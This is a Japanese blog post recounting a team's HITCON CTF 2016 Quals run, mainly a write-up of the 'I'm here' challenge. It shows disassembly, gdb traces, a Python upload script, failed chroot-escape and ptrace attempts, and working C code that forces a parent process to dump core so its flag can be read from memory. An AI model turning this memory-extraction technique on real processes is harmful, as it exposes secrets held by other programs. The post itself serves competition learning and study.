旅する情報系大学院生

旅と留学とプログラミング

HITCON CTF 2016 Quals参加記

TSGの面々(cookies,dai,hakatashi,moratorium,satos,yamaguchi)で参加してました。
二日目から私の自宅を開放して集まってやりました。プロが解いてくれたので、私は応援係をしていました。

I'm here

頑張った。ほぼこれしかやっていない。

nc 52.196.86.193 2507
のバイナリファイルが与えられます。a.outを実行してくれるなぁと思います。

解析パート

objdumpを見てみました。forkとかunlinkとかしてるのが怪しいなぁと思います。

00000000004005f0 <main>:
  4005f0:       53                      push   %rbx
  4005f1:       be 4f 73 4b 00          mov    $0x4b734f,%esi
  4005f6:       bf c4 1a 4a 00          mov    $0x4a1ac4,%edi
  4005fb:       e8 b0 f5 00 00          callq  40fbb0 <_IO_new_fopen>
  400600:       48 85 c0                test   %rax,%rax
  400603:       74 26                   je     40062b <main+0x3b>
  400605:       48 89 c2                mov    %rax,%rdx
  400608:       be 00 01 00 00          mov    $0x100,%esi
  40060d:       bf e0 e6 6c 00          mov    $0x6ce6e0,%edi
  400612:       48 89 c3                mov    %rax,%rbx
  400615:       e8 b6 f2 00 00          callq  40f8d0 <_IO_fgets>
  40061a:       48 85 c0                test   %rax,%rax
  40061d:       74 0c                   je     40062b <main+0x3b>
  40061f:       48 89 df                mov    %rbx,%rdi
  400622:       e8 09 ef 00 00          callq  40f530 <_IO_new_fclose>
  400627:       85 c0                   test   %eax,%eax
  400629:       74 04                   je     40062f <main+0x3f>
  40062b:       31 c0                   xor    %eax,%eax
  40062d:       5b                      pop    %rbx
  40062e:       c3                      retq   
  40062f:       bf c4 1a 4a 00          mov    $0x4a1ac4,%edi
  400634:       e8 37 f4 03 00          callq  43fa70 <__unlink>
  400639:       85 c0                   test   %eax,%eax
  40063b:       75 ee                   jne    40062b <main+0x3b>
  40063d:       e8 de dc 03 00          callq  43e320 <__libc_fork>
  400642:       85 c0                   test   %eax,%eax
  400644:       74 09                   je     40064f <main+0x5f>
  400646:       31 ff                   xor    %edi,%edi
  400648:       e8 33 dc 03 00          callq  43e280 <__libc_wait>
  40064d:       eb dc                   jmp    40062b <main+0x3b>
  40064f:       be ca 1a 4a 00          mov    $0x4a1aca,%esi
  400654:       31 d2                   xor    %edx,%edx
  400656:       48 89 f7                mov    %rsi,%rdi
  400659:       e8 22 e0 03 00          callq  43e680 <execlp>
  40065e:       31 ff                   xor    %edi,%edi
  400660:       e8 bb df 03 00          callq  43e620 <_exit>
  400665:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40066c:       00 00 00 
  40066f:       90                      nop

静的解析ができないので、gdbで実行してみようと思います。
なんだかすぐ異常終了しちゃうなぁと思ったら、fopenで/flagというファイルをreadで開こうとして失敗しているんだなということがわかります。

=> 0x4005fb <main+11>:	call   0x40fbb0 <fopen64>
   0x400600 <main+16>:	test   rax,rax
   0x400603 <main+19>:	je     0x40062b <main+59>
   0x400605 <main+21>:	mov    rdx,rax
   0x400608 <main+24>:	mov    esi,0x100
Guessed arguments:
arg[0]: 0x4a1ac4 --> 0x612f0067616c662f ('/flag')
arg[1]: 0x4b734f --> 0x614d007270410072 ('r')

/flagというファイルを作ります。
fgetsでファイルの中身を読み込んで0x6ce6e0というアドレスに入れていることがわかります。

=> 0x400615 <main+37>:	call   0x40f8d0 <fgets>
   0x40061a <main+42>:	test   rax,rax
   0x40061d <main+45>:	je     0x40062b <main+59>
   0x40061f <main+47>:	mov    rdi,rbx
   0x400622 <main+50>:	call   0x40f530 <fclose>
Guessed arguments:
arg[0]: 0x6ce6e0 --> 0x0 
arg[1]: 0x100 
arg[2]: 0x6d1bf0 --> 0xfbad2488 

また実行をしていくとfcloseとunlinkで失敗して死んでいることがわかるので、適当にset $rax=1してあげるか、fcloseやunlinkの権限がなくて死んでいることがわかるのでsudoを付けて実行してあげるかします。

その後、forkをして子プロセスを作り、そこでa.outというファイルをexeclpしていることがわかりました。

解析はこんな感じで、問題は/flagというファイルが読み出されたあと削除されてしまっているので、親プロセスのメモリ0x6ce6e0をなんとかして読んでフラグを入手しようね、ということだとわかります。

攻撃パート

攻撃用スクリプトをsatosプロから入手しました。

from socket import *
import time
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("52.196.86.193", 2507))
with open('a.out','rb') as fp:
    s = fp.read()
    
#print len(s)
sock.send(str(len(s)) + '\n')
sock.send(s)
s = ""
for i in xrange(500):
    s += sock.recv(1024)

print s


プロ!!後は親プロセスのメモリを表示させるだけ!!!

まずはHello worldとかして色々試してみますが、どうもexecv("/bin/ls","/bin/ls",NULL)系が通らないなぁとわかります。
しかしCのscandirは通って、ls的なことはできました。

こんな感じ。

struct dirent **namelist;
     int r=scandir(".",&namelist,NULL,NULL);
     printf("%d\n",r);
     int i=0;
     for(i=0;i<r;i++){
     printf("%s\n",namelist[i]->d_name);
     }

これを送りつけると、カレントディレクトリには. .. a.out imhereの4つしか無いことがわかります。やっぱり/flagは消されてますね。
しかし、ルートディレクトリを見ようとすると、. .. a.out imhereしかありません、カレントと一緒です。chrootされていることがわかりました。


嘘解法

cookiesプロと一緒に、chroot脱獄しようと頑張りました。
こんなリンク参考にしたりとか…。
Escaping a chroot jail/1 | PyTux

いろいろ頑張ったのですが、この方針はダメでした。
chroot関数が実行できなかったのですね。

嘘解法2

getppidとかで親のプロセスIDはわかったので、ptraceでなんとかメモリを読もうと頑張りました。
でも、これもダメ!operation not permitedと言われます。

通った解法

cookiesプロがコアファイルがどうのと言い出したのでコアファイルを吐かせるために親プロセスを殺しに行きました。
参考にしたリンク。
Linuxコマンド kill - 非エンジニアのエンジニア道
Man page of GETRLIMIT

cookiesがurlimitをどうこうしてくれて、killコマンドで親プロセスを殺してコアファイルを表示しようとしました。
しかし、何回やってもダメ・・・。cookiesが思いつきでsleep(3)してくれたら出てきました!killコマンドはシグナルを送るだけだから少し待たないとコアファイル出てこないみたいです。

こんな感じ。

#include<dirent.h>
#include <stdio.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include<stdlib.h>
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
#include<signal.h>
#include<sys/time.h>
#include<sys/resource.h>
#include<sys/ptrace.h>

char buf[3000];
int main(){
  pid_t p_pid;
  pid_t c_pid;
  p_pid=getppid();
  c_pid=getpid();

  struct rlimit newlimit,oldlimit;
  newlimit.rlim_cur=RLIM_INFINITY;
  newlimit.rlim_max=RLIM_INFINITY;
  prlimit(p_pid,RLIMIT_CORE,&newlimit,&oldlimit);

  kill(p_pid,3);
  sleep(5);

  FILE *open=fopen("core","rb");
  while(fread(buf,128,1,open)) {
    write(1,buf,128);
  }
  fclose(open);

  return 0;
}

出てきたコアファイルをgdbで読めばフラグを入手できるはずなんだけど、何回やってもformat errorとか言われてなんでだろうなあとか言ってたらもらった攻撃用スクリプトのバグでちゃんと読もうなって気分になりました。
ちゃんとしたコアファイルが出てきたら、見るだけ!!

$ gdb ./imhere core
gdb-peda$ x/s 0x6ce6e0
0x6ce6e0 <flag>:	"hitcon{i'm H1re, C4n Y0u see m3}\n"

長かった…。

Flame

だいぶ時間をかけたけど解けなかった。objdumpを渡したら、私が寝ている間にsatosプロが解いてくれた。
powerpc32bitのファイルが渡されるので、gdbで実行したら勝ちやろ!っつってpowerpc用のgdbを入れようと頑張るができず・・・。
これは何が正攻法なんですかね??

感想

楽しかった!おうちでわいわいやるのは楽しいね。
まともに大会出るのは去年のseccon以来とかセキュキャン以来とかで最近全くCTFしてなかったけど一問は解けてよかった…。結局13チームしか解けてないし。
でも他のメンバーに比べると圧倒的雑魚なので頑張りたい。